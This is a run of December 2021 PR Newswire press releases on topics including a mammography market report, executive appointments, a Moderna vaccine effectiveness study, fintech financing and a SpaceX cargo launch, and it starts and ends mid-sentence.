diagnostics in the US and Canada are encouraging the use of the mammography systems, thereby boosting the demands for these products. In North America, the US holds a significant share of the mammography systems market. The growth of the market in the country is primarily driven by increasing adoption of advanced medical device technologies, growing digitalization of medical devices, increasing emphasis on improving treatment outcomes and increasing prevalence of breast cancer Get Exclusive Sample Pages of Mammography Systems Market Size - COVID-19 Impact and Global Analysis with Strategic Insights at https://www.theinsightpartners.com/sample/TIPRE00007753/ The increasing prevalence of breast cancer in the US is likely to demand mammography systems. As per the breast cancer statistics by the Breast Cancer Organization, around one in eight women (about 12%) develops invasive breast cancer in her lifetime. The organization estimated that in 2020 there will be 276,480 new cases of invasive breast cancer in the U.S. and 48,530 new cases of non-invasive (in situ) breast cancer. There are several initiatives by the government in order to prevent breast cancer. The Centers for Disease Control and Prevention's National Breast and Cervical Cancer Early Detection Program provides quality breast and cervical cancer diagnostic and screening services to underserved, low-income, and uninsured women and undertakes strategies to increase the screening rates in health systems. These services help in detecting breast and cervical cancer at the early stages. Asia Pacific is expected to be the fastest-growing region due to growing prevalence of breast cancer. For instance, according to the Globocan report, in 2018, there were around 367,900 new cases of breast cancer and 97,972 deaths due to breast cancer in china. Additionally, increasing awareness of advanced imaging technologies coupled with developing healthcare infrastructure are further projected to drive Asia Pacific mammography systems market during the forecast period. Furthermore, constantly developing diagnostic imaging industry also drives the growth of the market in developing economies such as India, China, Australia, and Malaysia. Growing Breast Cancer Prevalence in Mammography Systems Market: The prevalence of breast cancer is growing worldwide and has resulted in increased demand for mammography systems for diagnosis. A few of the common symptoms of breast cancer are appearance of inverted nipples, changes in breast shape, development of lumps in breast, and red or scaly patch of skin, or sore nipples. Download Sample PDF Brochure of Mammography Systems Market Size and Growth Research Report at https://www.theinsightpartners.com/sample/TIPRE00007753/ As per the Breast Cancer Facts & Figures 20192020 report by the American Cancer Society, ~268,600 invasive breast cancer cases and 41,760 breast cancer deaths in the US were reported among women in 2019. Similarly, in Canada, ~27,400 women breast cancer cases and 5,100 deaths due to the same have been estimated by the Canadian Cancer Society for 2020. According to a Breast Cancer Facts report by the EUROPA DONNA, breast cancer is the most common cancer type in Europe, and it estimated the incidence of 562,500 breast cancer cases 2018 in the WHO Europe region. It also reported that ~20% of breast cancer cases in Europe occur in women with less than 50 years of age; ~36% occur at age 5064, while the remaining cases occur in women above 64 years of age. Moreover, as per the Globocan report, in 2018, there were 911,014 breast cancer cases and 310,577 deaths due to breast cancer, of which 367,900 and 162,468 breast cancer cases were reported in China and India, respectively. Mammography Systems Market: Segmental Overview Based on product, the mammography systems market is segmented into full field digital mammography systems, breast tomosynthesis systems, and analog systems. The full field digital mammography systems product segment accounted for more than 42.19% of the market share in 2019. In terms of technology, the mammography systems market is segmented into screen film, 2D mammography, 3D mammography, and others.The 2D mammography technology segment held the largest share of the market in 2019. In terms of end user, the mammography systems market is segmented into hospitals, ambulatory surgical centers and others.The other end users segment held the largest share of the market in 2019. The COVID-19 outbreak has disturbed various trades and businesses across the world. Due to an increasing number of infected patients, healthcare professionals and leading organizations are distracting the flow of healthcare resources from research & development to primary care, which is slowing down the process of innovation. Research institutes, pharmaceutical, and biotech companies are engaged in collaborative work to address the COVID-19 outbreak. Additionally, majority number of the manufacturing companies are shifted towards manufacturing of protective equipment such kits, masks, and thermometers to fight against the crisis of covid 19. In addition, the COVID-19 pandemic is perplexing healthcare institutions in the region with unprecedented operational and clinical challenges. Mammography departments in healthcare facilities are encountering changes in routines and workflows to deal with comply with new sanitary standards and new diagnostic methods like tele-mammography consultations. Moreover, shift of priorities from breast imaging to corona virus diagnosis are leading to decline in mammography, leading to decline in market growth up to certain extent. Buy Premium Copy of Mammography Systems Market Size, Share, Revenue, Strategic Insights and Forecasts 2020-2027 Research Report at https://www.theinsightpartners.com/buy/TIPRE00007753/ About Us: The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We specialize in industries such as Semiconductor and Electronics, Aerospace and Defense, Automotive and Transportation, Biotechnology, Healthcare IT, Manufacturing and Construction, Medical Device, Technology, Media and Telecommunications, Chemicals and Materials. Contact Us: If you have any queries about this report or if you would like further information, please contact us: Contact Person: Sameer Joshi E-mail: [email protected] Phone: +1-646-491-9876 Press Release: https://www.theinsightpartners.com/pr/mammography-systems-market More Research: https://www.openpr.com/news/archive/139407/The-Insight-Partners.html SOURCE The Insight Partners COLUMBIA, Md., Dec. 15, 2021 /PRNewswire/ -- The Mediation and Conflict Resolution Center, Inc. of Howard County Board of Directors is pleased to announce the appointment of Mark C. Booker to the Executive Director position. Mark C. Booker brings a wealth of knowledge and experience to the MCRC Executive Director position. His experience in education, mediation, fundraising and leadership will enable him to lead the organization in expanding its capacity and impact in service of the Howard County community. The intersection of mediation-conflict resolution and criminal justice is his passion. Mr. Booker has held leadership positions in the areas of nonprofit management, program design, and fundraising as an educational CEO for a Baltimore city-based company. He also served as court commissioner for the District Court of Maryland. In addition, he serves as an adjunct instructor at the University of Baltimore committed to improving neighborhoods and communities through mediation and conflict resolution. Mr. Booker holds a bachelor's degree from Howard University, and a master's degree in criminal justice administration with departmental honors from Coppin State University. Mark enhanced his professional development by completing leadership programs at Harvard University, the Greater Baltimore Committee, and the Associated Black Charities. In the field of conflict resolution, Booker completed a professional certificate from The Scheinman Institute on Conflict Resolution at Cornell University. Mr. Booker lives in Howard County, Maryland with his wife and their two daughters. The Mediation and Conflict Resolution Center is a local non-profit organization that provides accessible conflict resolution services and education that help members of the community manage conflict and have difficult conversations in a meaningful, proactive way. Please feel free to reach out via email at [email protected] or by phone at 443-518-7693. Media Contact: Derek Robertson, Mediation and Conflict Resolution Center, Inc. Phone: 443-518-7693 Email: [email protected] https://mcrchoward.org/ SOURCE Mediation and Conflict Resolution Center Inc. FORT COLLINS, Colo., Dec. 15, 2021 /PRNewswire/ -- With the plethora of online stores available to consumers, it's extremely important to deploy a well-rounded marketing strategy to maximize brand awareness and sales. The Marketing 360 multi-channel strategy does just that. In this case study , the Marketing 360 multi-channel marketing strategy helped an eCommerce business drive record sales. With the help of their team at Marketing 360, this online store saw just how much of an impact a multi-channel marketing strategy could have on increasing sales. Through optimizing their product pages for both organic and paid opportunities, they were able to drive 8.7 million impressions, 103 thousand clicks, and almost 5 thousand conversions just in the last six months. The strategy? With the help of their Marketing Success Manager and Content Marketing Specialist, they used the Marketing 360 multi channel marketing strategy to drive organic traffic to their website. They optimized their products with informative, well-written descriptions that contained keywords that afforded them huge organic opportunities. They also optimized their product images to ensure a great user experience. From there, they worked to build trust by gaining reviews and product ratings, and then displayed those ratings on each product page. Once their product pages were well optimized, they employed the Marketing 360 multi-channel marketing strategy and used a combination of paid ads across channels as well as continued to update their website with ongoing content to increase organic ranking. Through many tools and integrated apps, plus the backing of a fully integrated marketing team, the Marketing 360 multi-channel marketing strategy makes it easy for small businesses to manage their business and marketing, all from one place while saving time, money, and tons of manual work. Learn more about Marketing 360 at https://www.marketing360.com/ . About Marketing 360 Marketing 360 is a technology company that provides business management and marketing software and services for SMBs and franchises. For over a decade, the Marketing 360 multi-channel marketing strategy and platform has given SMBs everything they need to manage and grow their business from a singular platform, including the ability to build a professional website, accept and manage payments, manage leads and customers, book appointments, monitor reviews, manage social media, syndicate business listings, manage content marketing, run multi-channel digital advertising campaigns, and more. Marketing 360 was founded in 2009 with the mission of enriching communities by helping small businesses grow, and is headquartered in Fort Collins, Colorado, with offices in Austin, Texas. Learn more about Marketing 360 at https://www.marketing360.com/. Media Contact: Farra Lanzer [email protected] 970-541-3284 SOURCE Marketing 360 Marking 10 years in January 2022 (24-26), IDEA is an innovative, immersive three-day experience, or "boot camp," where students learn and immediately apply the design thinking method to develop real-world solutions for regional businesses, organizations, and communities. In the process of bringing their ideas to life, students develop critical 21 st century thinking, creativity, communication, collaboration, and problem solving skills. IDEA is a key component of Bryant's Gateway program, an award-winning first-year curriculum nationally recognized by organizations including the Davis Educational Foundation and Hanover Research. Read the story at news.bryant.edu Building critical 21st century skills The IDEA program embodies and advances the most valuable and differentiating aspects of a Bryant educationbuilding critical skills through immersive, experiential learning in a community that values and supports the potential and path of each individual student. In the 10 years since it launched, IDEA has helped more than 8,000 students develop an innovative mindset and to thrive and succeed at Bryant and far beyond. The entire Bryant community mobilizes in support of the IDEA program. About 200-plus faculty, staff, student, alumni and parent mentors, and about 200 alumni and regional business leaders who serve as judges (think Shark Tank), come together to help all of the university's first-year studentsabout 700 this yearlearn how to think, design and create like innovators. Students tackle real challenges for regional businesses and nonprofit organizations including the New England Patriots Hall of Fame and the YMCA. And, they take on some of the most complex issues of the day such as the future of work; diversity, equity and inclusion; mental health, and financial literacy. From "wild ideas" to innovative solutions For an action-packed three days, on a campus that looks more like a Silicon-valley start up, students are encouraged to "think wild ideas" as they take part in a process that simulates the fast-moving, rapid prototyping, innovative way of doing business practiced by many of the largest, most successful companies in the world, including Amazon, Google, Apple and Tesla. Nearly every space on campusfrom the Innovation Forum to the Data Visualization Lab to just about every classroombecomes a training, design and prototyping space. And, there isn't an answer key in sight. It's all about the design thinking processempathize, define, ideate, prototype, testa human-centered approach to creating, problem solving and product development. This year, Duncan Wardle, former Head of Innovation and Creativity at the Walt Disney Company will return as keynote speaker to offer students guidance and inspiration. Reimagining teaching and learning When Professor of Psychology and program Director Allison Butler, Ph.D., reflects on how IDEA started and why it has become such a differentiating aspect of the Bryant education, she credits innovative collaboration. "Ten years ago, a group of Bryant faculty set out to reimagine the way they teach and how students learn," she said. "They recognized that the fast-changing world and unpredictable future would demand more of graduates than ever before. They knew that education must do more than convey disciplinary knowledge and practice." "Together, they looked for a better way to teach students to think critically, tap their creative potential, test and develop new ideas to solve the world's most difficult or "wicked" problems. This journey of exploration was the genesis of the IDEA program," Butler added. Future adaptation and innovation built in Program founders applied the design thinking process to developing the IDEA program in 2013. Their design included a mechanism for future leaders to continually innovate, update, and adapt the program to meet the needs of future generations. Each year faculty, staff and mentors evaluate the program, get feedback from all participants, consider the evolving needs of students and continually update and improve the program. Because of this process, IDEA continues to grow and contribute to the success of thousands of students and recent graduates. "Ten years ago, we had our own 'blue sky, wild idea,' and that was Bryant IDEA," said Butler. "My colleagues and Iwith the leadership, participation, and support of the entire universitystarted a movement. And now, in 2022, the momentum for innovation, creativity, and teamwork has never been stronger. We can't wait to see what the future brings for the program and for our amazing students." SOURCE Bryant University SHENZHEN, China, Dec. 15, 2021 /PRNewswire/ -- MGI Tech Co., Ltd. ("MGI"), a global life science leader and innovator, is playing an instrumental role in the global battle against the omicron variant of COVID-19 with its DNBSEQ and ATOPlex technologies. As a responsible global company, and as omicron begins to rapidly spread around the world, MGI's innovative equipment has been used in the detection, monitoring, surveillance, and tracing of the new variant to safeguard the global community in more than 70 countries worldwide to date. Supporting detection of omicron in South Africa's wastewater with rapid sequencing and ATOPlex technology In light of the increasing dominance of the omicron variant in South Africa, researchers across the country are turning to MGI to ramp up their screening efforts and manage the spread of COVID-19 through sequencing of wastewater samples. Wastewater surveillance is key to pandemic management as it can rapidly identify COVID-19 hotspots and circulating variants, which can in turn inform a rapid public health response. The South African Medical Research Council (SAMRC) was the first report of the Omicron variant being detected in the City of Cape Town's wastewater system and the detection coincides with an increase in cases in the city. "At the South African Medical Research Council, our team used the MGI ATOPlex technology and the DNBSEQ-G50* to sequence SARS-COV-2 from wastewater samples collected from wastewater treatment plants across South Africa. This technology was instrumental in confirming the presence of omicron at in a sample collected at Cape Town International Airport before omicron was first announced". Said Prof Craig Kinnear, Human Geneticist and Platform Manager of the SAMRC Genomics Centre. MGI ATOPlex technology is a two-step multiplex PCR method which amplifies all viral fragments in one tube providing target enrichment, amplification, and library construction in one simple process. It is relatively cheap, available, and fast in comparison to other PCR methods. It is an ultra-short amplicon-based method (106-199bp) which can capture more shorter fragments direct from a clinical sample or environmental sample and is more likely to obtain a complete viral genome sequence. Moreover, ATOPlex introduces a DNA spike-in control in the two-step multiplex PCR process. The DNA spike-in control was co-amplified with SARS-CoV-2 coupled to count-based analysis to accurately detect SARS-CoV-2, quantify its viral load, and measure the cross-contamination1. ATOPlex is designed to work in tandem with MGI's DNBSEQ genetic sequencing technologies, such as the DNBSEQ-G50*, DNBSEQ-G400*, and DNBSEQ-T7*. Enabling the discovery of the first case of the omicron variant in Sweden and Saudi Arabia In addition to the detection and surveillance of omicron in South Africa, MGI has supported other nations to detect the first cases of the variant in their country. Its ATOPlex technology was integral in supporting the National Pandemic Center (NPC) at Karolinska Institutet in Sweden to discover its first case of the COVID-19 omicron variant. In Saudi Arabia, MGI supplied its ATOPlex technology and DNBSEQ-G400* rapid sequencing platform to support the Kingdom's Ministry of Health, which was responsible for detecting the first case of the omicron variant from a citizen coming from North Africa. About MGI MGI (MGI Tech Co., Ltd.), headquartered in Shenzhen, is committed to building core tools and technology to lead life science through intelligent innovation. Based on its proprietary technology, MGI focuses on Research & Development, production and sales of sequencing instruments*, reagents, and related products to support life science research, agriculture, precision medicine and healthcare. MGI is a leading producer of clinical high-throughput gene sequencers*, and its multi-omics platforms include genetic sequencing*, medical imaging, and laboratory automation. MGI's mission is to develop and promote advanced life science tools for future healthcare. For more information, please visit the MGI website or connect with us on Twitter, LinkedIn or YouTube. *Unless otherwise informed, all sequencers and sequencing reagents are not available in Countries and Regions like Germany, USA, Spain, UK, Hong Kong, Sweden, Belgium and Italy. 1. Ni, G. et al. Novel Multiplexed Amplicon-Based Sequencing to Quantify SARS-CoV-2 RNA from Wastewater. Environ. Sci. Technol. Lett. 8, 683690 (2021). SOURCE MGI Tech A passion for creating nostalgic culinary experiences for her guests drives Bahraini-born, Swiss-trained Bashmi. Beginning her career through a home venture called Baked by T, the chef's desserts became especially famous in Bahrain, garnering her numerous fans. Following this initial success, Bashmi held roles in Europe at the Grand Hotel Les Trois Rois and Michelin-starred restaurant Prisma, learning how to run restaurant operations as well as working in fast-paced kitchen environments. Upon her return to the Middle East, Chef Bashmi competed in the acclaimed MBC show Top Chef (Middle East & North Africa) show, finishing in the finals and showcasing the modernised Bahraini cuisine that she would become famous for. She opened her inaugural restaurant, Fusions by Tala, at the renowned Gulf Hotel, Bahrain in September 2017, priding herself on the concept's willingness to experiment with ingredients and techniques used around the world and incorporating these into native Bahraini dishes. William Drew, Director of Content for 50 Best says, "Chef Tala epitomises the spirit of this award with her ardent commitment to highlighting Bahraini cuisine around the world whilst simultaneously modernising many of its traditional dishes. She is a hugely worthy winner of the MENA's Best Female Chef title." The inaugural Middle East & North Africa's 50 Best Restaurants awards ceremony, sponsored by S.Pellegrino & Acqua Panna, will be hosted in the UAE Capital on Monday, 7th February 2022, supported by Abu Dhabi's Department of Culture and Tourism (DCT). Photo - https://mma.prnewswire.com/media/1710269/Best_Female_Chef_Tala_Bashmi.jpg Logo - https://mma.prnewswire.com/media/1707530/50_Best_MENA_Logo.jpg SOURCE 50 Best "Dermot has been a leader since the day he joined Milliman, bringing an essential vision as we've evolved to become a global firm," says Milliman Chairman Ken Mungan. "Dermot is the ideal person to assume this role at this moment of immense change and opportunity, with data and technology revolutionizing the way our clients do business." Corry joined the firm in 2009 when Milliman acquired Life Strategies Limited, the Irish consulting firm that Corry led. Milliman's Life and Financial Services business experienced strong growth during Corry's time as Global Practice Director. Corry's expertise includes a wide range of life insurance and related activities, including appointed actuary work for many companies. "Milliman provides crucial expertise to our clients, playing a vital role in protecting the health and financial wellbeing of people everywhere," said Corry. "We are in an era of unprecedented uncertainty that calls for unique awareness of risk. Milliman brings a data-driven perspective to these volatile times and will continue to be the leader advising on insurance, retirement, and healthcare." Corry succeeds Stephen White, who will be retiring. During White's nine-year tenure as CEO, Milliman doubled its annual revenue, reaching $1.4B this year. Milliman opened offices in 13 new countries under White's leadership and has become a more dynamic, data-driven, and diverse firm. About Milliman Milliman is among the world's largest providers of actuarial and related products and services. The firm has consulting practices in healthcare, property & casualty insurance, life insurance and financial services, and employee benefits. Founded in 1947, Milliman is an independent firm with offices in major cities around the globe. For further information, visit milliman.com. SOURCE Milliman, Inc. Related Links www.milliman.com AUSTIN, Texas, Dec. 15, 2021 /PRNewswire/ -- mindStart, a privately held company focused on providing outsourced customer service to small and medium businesses, has been selected for the 2021 Austin Award in the Top Contact Center category by the Austin Award Program. Each year, the Austin Award Program identifies companies they believe have achieved exceptional marketing success in their local community and business category. These are local companies that enhance the positive image of small business through service to their customers and our community. These exceptional companies help make the Austin area a great place to live, work and play. Since its founding in 2016, mindStart has expanded to serve companies across a variety of industries who are in their hyper-growth stage. "Our early success capitalized on the tech and entrepreneurial spirit that Austin is known for. Over the past five years, we have grown to serve companies from a variety of industries including wellness, food & beverage, education, and of course, building upon our high-tech and tech gadget foundation. Likewise, our footprint has expanded beyond Austin, with customer service agents working across the U.S., and our bilingual call center in Guadalajara, Mexico," says David Wise, President and Co-Founder of mindStart. As mindStart continues upon its growth trajectory, the company is offering a complimentary review of internal customer service department performance and welcomes a discussion about how migrating to a business process outsourcing vendor could help businesses build loyal customers. ABOUT MINDSTART At mindStart, our goal is to change the perception of the customer service industry by offering a five-star customer service program that our clients and their customers actually enjoy. This includes multi-channel (phone, email, chat, social) support with various options for hours of operation, including 24x7. Headquartered in Austin, Texas, with a nearshore office in Guadalajara, Mexico, we provide a professional, highly knowledgeable experience for companies seeking premier support for their customers, with excellent customer satisfaction ratings. About Austin Award Program The Austin Award Program is an annual awards program honoring the achievements and accomplishments of local businesses throughout the Austin area. Recognition is given to those companies that have shown the ability to use their best practices and implemented programs to generate competitive advantages and long-term value. SOURCE mindStart PASADENA, Calif., Dec. 15, 2021 /PRNewswire/ -- Kaiser Permanente research in Southern California published Nov. 25, 2021, in The Lancet Regional Health Americas confirmed high Moderna COVID-19 vaccine effectiveness up to 5 months after the second dose. Effectiveness was 87% against COVID-19 infection, 96% against COVID-19 hospitalization, and 98% against COVID-19 death. "This research provides reassuring evidence of the high effectiveness of the Moderna COVID-19 vaccine in preventing infection, hospitalization, and death from COVID-19," said Katia Bruxvoort, PhD, an adjunct investigator with the Kaiser Permanente Southern California Department of Research & Evaluation. "One of the important aspects of this study was that it included more than 700,000 adults who were racially and ethnically diverse and had a broad range of underlying conditions including chronic diseases, immunocompromising conditions, and autoimmune conditions." This study evaluated the 5-month effectiveness of the Moderna COVID-19 mRNA vaccine as part of a 5-year observational study within Kaiser Permanente, an integrated health care organization with 4.7 million members in Southern California. The study included 352,878 recipients of 2 doses of Moderna COVID-19 vaccine matched to 352,878 unvaccinated individuals by age, sex, race, and ethnicity. Vaccinated individuals received 2 doses of Moderna COVID-19 vaccine from December 18, 2020, to March 31, 2021. Individuals in both groups were followed until June 30, 2021. During follow-up, COVID-19 infections occurred among 289 vaccinated patients and 1,144 unvaccinated patients. Vaccine effectiveness against COVID-19 infection was 87%. COVID-19 hospitalization occurred among 13 vaccinated and 182 unvaccinated patients, and COVID-19 in-hospital deaths occurred among 1 vaccinated and 25 unvaccinated patients. Vaccine effectiveness against COVID-19 hospitalization was 96%, and vaccine effectiveness against COVID-19 in-hospital deaths was 98%. Vaccine effectiveness against COVID-19 infection remained high across age, sex, racial, and ethnic subgroups, with results ranging from 83% to 92%. Vaccine effectiveness was higher against symptomatic COVID-19 (88%) than asymptomatic COVID-19 (73%). From March to June 2021 , there were 5,619 SARS-CoV-2 positive specimens that were successfully sequenced. The most prevalent variants were alpha (42%), epsilon (18%), delta (12%), and gamma (9%), with delta increasing to 54% of variants by June 2021 . "This study adds evidence of real-world Moderna COVID-19 vaccine effectiveness, particularly among the general population," said Hung Fu Tseng, PhD, a researcher with the Kaiser Permanente Southern California Department of Research & Evaluation and the senior author of the study. "Additionally, our follow-up on these fully vaccinated patients occurred through June 2021, a period that overlapped with the emergence of the delta variant in the United States. Long-term follow-up is ongoing to further evaluate the durability of protection." The study was funded by Moderna, Inc. About Kaiser Permanente Kaiser Permanente is committed to helping shape the future of health care. We are recognized as one of America's leading health care providers and not-for-profit health plans. Founded in 1945, Kaiser Permanente has a mission to provide high-quality, affordable health care services and to improve the health of our members and the communities we serve. We currently serve approximately 12.5 million members in 8 states and the District of Columbia. Care for members and patients is focused on their total health and guided by their personal Permanente Medical Group physicians, specialists, and team of caregivers. Our expert and caring medical teams are empowered and supported by industry-leading technology advances and tools for health promotion, disease prevention, state-of-the-art care delivery, and world-class chronic disease management. Kaiser Permanente is dedicated to care innovations, clinical research, health education, and the support of community health. For more information, go to about.kp.org For more information, contact: Vincent Staupe, [email protected], 510-318-1557 Terry Kanakri, [email protected], 626-405-2652 SOURCE Kaiser Permanente Related Links http://www.kaiserpermanente.org NEW YORK, Dec. 15, 2021 /PRNewswire/ -- Global fintech MODIFI today announced 145M USD in debt financing with existing bank partners Silicon Valley Bank and Solarisbank. The funds will be used to address increasing demand and help more small and medium-sized enterprises trade internationally on MODIFI's digital platform. COVID-19 has negatively impacted SME exporters and importers, with the trade finance gap widening to 1.7 trillion USD, 15% higher than 2 years ago. As global trade is booming and consumer demand is on the rise, they are unable to capitalize on new opportunities and navigate through supply chain disruptions. "2021 has been a challenging year for SMEs, who had to cope with logistics issues and skyrocketing freight rates amid a strong rebound in consumer demand. We were able to step in and help our clients get additional liquidity and risk protection, thus enabling them to fulfil extra orders and grow their business. We are excited to continue our partnership with Silicon Valley Bank and Solarisbank and are honored by their commitment to our mission," says CEO and Co-Founder Nelson Holzner. Increase in the facility amount will help address growing demand for the MODIFI products in the company's markets worldwide. MODIFI has quadrupled its business year on year with India remaining the largest single market, and Greater China, UAE and Germany actively picking up pace. 2021 started off with MODIFI's launch in the Netherlands, the US and Bangladesh. "We are incredibly excited at Silicon Valley Bank to build on our existing relationship with MODIFI as it continues on its trajectory to become a leading provider of trade financing products. With trade severely affected by the restrictions resulting from COVID-19 and other macroeconomic issues, trade financing has been instrumental in reducing the adverse effects to businesses relating to both exports and imports. Our continued partnership showcases the ability of SVB's warehouse financing platform to play a pivotal role in the growth of cutting edge fintechs like MODIFI," says Conor Sheehy, Head of Fintech Warehousing at SVB EMEA. "We are excited to take our partnership with MODIFI to the next level and help more SMEs manage their liquidity and emerge as winners from the current supply chain crisis. There is a growing need for innovative solutions that remove barriers, increase transparency and enable small and midsize businesses to trade on a par with larger corporates. At Solarisbank, we are committed to empowering our partners to scale quickly and serve more customers through our API-based lending platform," says Nicolas Knecht, Managing Director Lending of Solarisbank. MODIFI is the only digital trade finance platform for SMEs that spans the three major trading regions of Europe, Asia and North America - a cluster which encompasses approximately 80% of global imports and exports. It provides SMEs with simple digital solutions to finance and manage their trades, protect them from counterparty risk, and easily track their shipments. Having raised its Series B round in September, the company is now working on major upgrades to its digital platform, which will expand the product offering beyond trade finance and allow MODIFI customers to take care of all trade-related activities in one place. MODIFI currently operates out of 9 offices in Berlin, Amsterdam, New York, Delhi, Mumbai, Shenzhen, Hong Kong, Dubai and Dhaka. About MODIFI: MODIFI is a global fintech company that helps small and medium sized businesses (SMEs) finance and manage their international trades. Serving over 1,000 buyers and sellers across more than 40 countries, MODIFI offers simple digital solutions that enable SMEs to trade like large corporates. Through its digital platform the company empowers businesses to grow, fostering strong international partnerships and benefitting local economies. To see how small and medium sized businesses can grow with MODIFI, visit www.modifi.com or follow us on LinkedIn and Twitter . Press contact: Elena Ermishina ( [email protected] ) About Silicon Valley Bank: Silicon Valley Bank (SVB) helps innovative businesses and their investors move bold ideas forward, fast. SVB provides a range of financial services and targeted expertise to companies of all sizes in innovation centres around the world, including the UK. With commercial and international banking services, SVB helps address the unique needs of innovators. Learn more at svb.com Silicon Valley Bank Germany Branch is a branch of Silicon Valley Bank. Silicon Valley Bank, a public corporation with limited liability (Aktiengesellschaft) under the laws of the U.S. federal state of California, with registered office in Santa Clara, California, U.S.A. is registered with the California Secretary of State under No. C1175907, Chief Executive Officer (Vorstand): Gregory W Becker, Chairman of the Board of Directors (Aufsichtsratsvorsitzender): Roger F Dunbar. Silicon Valley Bank Germany Branch with registered office in Frankfurt am Main is registered with the local court of Frankfurt am Main under No. HRB 112038, Branch Directors (Geschaftsleiter): Phillip Lovett, Dayanara Heisig. 2021 SVB Financial Group. All rights reserved. SVB, SVB FINANCIAL GROUP, SILICON VALLEY BANK, MAKE NEXT HAPPEN NOW and the chevron device are trademarks of SVB Financial Group, used under license. Press contact: Matthew Gazeley ( [email protected]) About Solarisbank: Solarisbank is Europe's leading Banking-as-a-Service platform. As a technology company with a full German banking license, Solarisbank enables other companies to offer their own financial services both rapidly and compliantly. Using our simple APIs, we enable partners to integrate Solarisbank's modular banking services directly into their own product offering at a much more efficient cost. The platform offers digital bank accounts and payment cards, identification and lending services, digital assets, including custody and brokerage, as well as services provided by integrated third-party providers. In 2021, Solarisbank launched in France, Italy, and Spain to offer local IBANs, providing access to local financial ecosystems in Europe's four largest markets. Headquartered in Berlin, over 450 Solarians representing over 60+ nationalities are working together to transform the financial services industry. Press contact: Baha Jamous ( [email protected] ) SOURCE MODIFI PITTSBURGH, Dec. 15, 2021 /PRNewswire/ -- Federated Hermes, Inc. today announced that monthly fund composition and performance data for Federated Hermes Premier Municipal Income Fund (NYSE: FMN) as of Nov. 30, 2021, is now available in the Products section of FederatedInvestors.com. To order hard copies of this data or to be placed on a mailing list, call 800-245-0242 x5587538, email [email protected] or write to Federated Hermes, 1001 Liberty Avenue, Floor 23, Pittsburgh, PA 15222. Federated Hermes, Inc. (NYSE: FHI) is a leading global investment manager with $634.1 billion in assets under management as of Sept. 30, 2021. Guided by our conviction that responsible investing is the best way to create wealth over the long term, our investment solutions span equity, fixed-income, alternative/private markets, multi-asset and liquidity management strategies. Providing world-class active investment management and engagement services to more than 11,000 institutions and intermediaries, our clients include corporations, government entities, insurance companies, foundations and endowments, banks and broker/dealers. Headquartered in Pittsburgh, Federated Hermes' nearly 2,000 employees include those in London, New York, Boston and offices worldwide. For more information, visit FederatedHermes.com. ### SOURCE Federated Hermes, Inc. SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Mux , the leading developer video platform, today announced it has won a 2021 Comparably award in the Best Company Culture category. Mux received an A+ culture score, ranking in the top 5% of companies on the Comparably platform. The Best Company Culture award is based on employee sentiment ratings of 20 core culture metrics, including compensation, perks and benefits, team leadership, career growth, and work-life balance. This year, over 15 million ratings were submitted from 70,000 companies. Mux "Culture is one of the most important parts of any organization. It has an enormous impact on who you're able to hire and retain, and how well you execute and innovate," said Jon Dahl, Co-founder and CEO at Mux. "We strive to build a company that is healthy and humane, both because we think it will make us more successful, and because we think it is the right thing to do." Over the past year, Mux has grown its headcount by nearly 170%, with employees joining across all departments. In 2020, the company committed to a remote-equal approach where employees who work from headquarters, from remote offices, or from home are on a level playing field. Currently, 50% of Mux employees work remotely, while 50% are office-based in San Francisco. "One of the things that makes Mux great is that the individuals who work here value belonging, inclusivity, and the importance of a representative team," said Becca Axvig, Head of People at Mux. "Our Talent and People Ops teams are champions and facilitators of company culture - owning initiatives like Living Mux Values and supporting employee resource groups - but what actually makes our culture so strong is the entire team's shared ownership of building a distinctively special place to work." "Out of tens of thousands of companies rated on our platform, employees have solidified Mux as one of the best places to work this year," said Jason Nazar, CEO at Comparably. "The organization's recognition is a testament to its exceptional workplace culture and leadership." Mux is hiring for positions in its San Francisco headquarters, London office, and remotely across the United States and greater London. If you are passionate about powering online video and interested in joining the team, visit mux.com/jobs to learn more about current openings. About Mux Mux is the leading developer video platform that takes the complexity out of building live and on-demand video. Thousands of customers including Robinhood, PBS, ViacomCBS, Equinox Media, and VSCO rely on Mux to deliver the highest quality video experience to their users without having to hire a team of embedded video experts. San Francisco-based Mux was founded in 2015 by experts in online video, including the creators of the biggest open-source video player on the web (Video.js), the largest transcoding service in the cloud (Zencoder), and the premier conference for video engineers (Demuxed). For more information visit www.mux.com or follow @MuxHQ . Press Contact Frank Spence [email protected] 415-294-1157 SOURCE Mux NASHVILLE, Tenn., Dec. 15, 2021 /PRNewswire/ -- Napa based winery, Tipsy Brand known for their penis shaped wine bottles signed an agreement with Best Brands Incorporated . Tipsy Brand is the maker of Just The Tipsy, a Bubbly Rose served in an unmistakable 750ml penis shaped bottle. Best Brands Inc is a wine, beer and spirits distributor with a long history of serving Tennessee. As Nashville continues to be a top destination for bachelorette parties this deal has the potential to make a major impact on wine sales in the region. This partnership marks the first time Just the Tipsy will be available for purchase anywhere other than their online store. Tipsy Brand launched the product in the summer of 2021 and thousands of people quickly discovered it. Best Brands Inc. supplies accounts all across Tennessee that will now be able to carry Just the Tipsy. New Winery - Tipsy Brand's first wine Just the Tipsy appeared for sale in the summer of 2021. - Tipsy Brand's first wine Just the Tipsy appeared for sale in the summer of 2021. Fast Growing Wine - 600+ cases of Just the Tipsy were sold directly to consumers within the first 4 months on sale. - 600+ cases of Just the Tipsy were sold directly to consumers within the first 4 months on sale. First Time Available In Stores - Up until now the wine has only been available at the tipsybrand.com "We created Just the Tipsy to bring some levity to your typical wine-drinking experience, whether that's at a bachelorette party, a birthday, or a lively night in," said Founder and CEO Matthew Shore. "Our new Bubbly Rose and its unique, ready-to-pop bottle is an unbeatable way to bring some fun, make people laugh, throw around a few good innuendos and it doesn't hurt that the wine itself is light, delicious, and easy to drink." About Just the Tipsy: Just the Tipsy is a Napa-based winery known for its Bubbly Rose: a crisp, smooth sparkling wine served in an unmistakable 750ml penis shaped bottle. Just the Tipsy Bubbly Rose measures up as a great addition to any of life's celebrations, whether it's a bachelorette party, birthday or lively night in. Feeling thirsty? Head to tipsybrand.com to place an order or visit your favorite Nashville establishment and ask for Just The Tipsy. Media Contact: [email protected] SOURCE Tipsy Brand WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- NASA commercial cargo launch provider SpaceX is targeting 5:06 a.m. EST Tuesday, Dec. 21, to launch its 24th commercial resupply services mission to the International Space Station. Liftoff will be from Launch Complex 39A at the agency's Kennedy Space Center in Florida. SpaceX's Dragon spacecraft will deliver 